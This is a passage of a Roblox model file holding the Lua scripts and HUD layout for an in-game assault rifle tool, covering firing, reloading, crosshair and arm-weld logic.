&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX4929">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX4930">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">2</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX4931">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
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					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 22
-- How many times per second the gun can fire
local FireRate = 1 / 9
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 700
-- In radians the minimum accuracy penalty
local MinSpread = 0.01
-- In radian the maximum accuracy penalty
local MaxSpread = 0.1
-- Number of bullets in a clip
local ClipSize = 30
-- DefaultValue for spare ammo
local SpareAmmo = 300
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.09
-- Time it takes to reload weapon
local ReloadTime = 2.3
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4953">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX4954">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX4955">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">2</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX4956">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4957">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
								<XS>0.449999988</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">54</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">1</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4958">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">TotalAmmo</string>
							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">180</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
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							<int name="ZIndex">1</int>
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					</Item>
				</Item>
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					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4278255360</Color3>
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						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Crosshair</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>500</XO>
							<YS>0</YS>
							<YO>500</YO>
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						<UDim2 name="Size">
							<XS>0</XS>
							<XO>150</XO>
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							<YO>150</YO>
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						<token name="SizeConstraint">0</token>
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						<bool name="Visible">true</bool>
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					<Item class="Frame" referent="RBX4960">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
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							<string name="Name">TopFrame</string>
							<UDim2 name="Position">
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								<YS>-0.5</YS>
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							<UDim2 name="Size">
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								<YO>14</YO>
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							<string name="Name">RightFrame</string>
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								<XO>-7</XO>
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								<XO>14</XO>
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							<bool name="Active">false</bool>
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							<bool name="Draggable">false</bool>
							<string name="Name">LeftFrame</string>
							<UDim2 name="Position">
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							<UDim2 name="Size">
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					<Item class="ImageLabel" referent="RBX4963">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
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							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
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							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
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							<token name="SizeConstraint">0</token>
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							<int name="ZIndex">1</int>
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					</Item>
					<Item class="TextLabel" referent="RBX4964">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
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							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
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							<Color3 name="TextStrokeColor3">4278190080</Color3>
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						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
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							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
